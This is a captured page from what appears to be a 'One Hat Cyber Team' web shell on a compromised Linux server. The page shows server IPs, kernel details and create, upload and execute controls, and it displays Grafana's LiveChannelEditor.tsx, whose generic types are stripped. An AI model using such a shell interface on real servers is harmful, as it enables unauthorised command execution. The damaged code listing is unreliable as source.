⚝
One Hat Cyber Team
⚝
Your IP:
216.73.217.4
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
grafana
/
public
/
app
/
plugins
/
panel
/
live
/
View File Name :
LiveChannelEditor.tsx
import { css } from '@emotion/css'; import React, { PureComponent } from 'react'; import { LiveChannelScope, LiveChannelAddress, SelectableValue, StandardEditorProps, GrafanaTheme2, } from '@grafana/data'; import { Select, Alert, Label, stylesFactory } from '@grafana/ui'; import { config } from 'app/core/config'; import { LivePanelOptions } from './types'; type Props = StandardEditorProps
, any, LivePanelOptions>; const scopes: Array
> = [ { label: 'Grafana', value: LiveChannelScope.Grafana, description: 'Core grafana live features' }, { label: 'Data Sources', value: LiveChannelScope.DataSource, description: 'Data sources with live support' }, { label: 'Plugins', value: LiveChannelScope.Plugin, description: 'Plugins with live support' }, ]; interface State { namespaces: Array
>; paths: Array
>; } export class LiveChannelEditor extends PureComponent
{ state: State = { namespaces: [], paths: [], }; async componentDidMount() { this.updateSelectOptions(); } async componentDidUpdate(oldProps: Props) { if (this.props.value !== oldProps.value) { this.updateSelectOptions(); } } async updateSelectOptions() { this.setState({ namespaces: [], paths: [], }); } onScopeChanged = (v: SelectableValue
) => { if (v.value) { this.props.onChange({ scope: v.value, namespace: undefined, path: undefined, }); } }; onNamespaceChanged = (v: SelectableValue
) => { this.props.onChange({ scope: this.props.value?.scope, namespace: v.value, path: undefined, }); }; onPathChanged = (v: SelectableValue
) => { const { value, onChange } = this.props; onChange({ scope: value.scope, namespace: value.namespace, path: v.value, }); }; render() { const { namespaces, paths } = this.state; const { scope, namespace, path } = this.props.value; const style = getStyles(config.theme2); return ( <>
This supports real-time event streams in grafana core. This feature is under heavy development. Expect the intefaces and structures to change as this becomes more production ready.
Scope
s.value === scope)} onChange={this.onScopeChanged} />
{scope && (
Namespace
s.value === namespace) ?? (namespace ? { label: namespace, value: namespace } : undefined) } onChange={this.onNamespaceChanged} allowCustomValue={true} backspaceRemovesValue={true} />
)} {scope && namespace && (
Path
)}
> ); } } function findPathOption(paths: Array
>, path?: string): SelectableValue
| undefined { const v = paths.find((s) => s.value === path); if (v) { return v; } if (path) { return { label: path, value: path }; } return undefined; } const getStyles = stylesFactory((theme: GrafanaTheme2) => ({ dropWrap: css` margin-bottom: ${theme.spacing(1)}; `, }));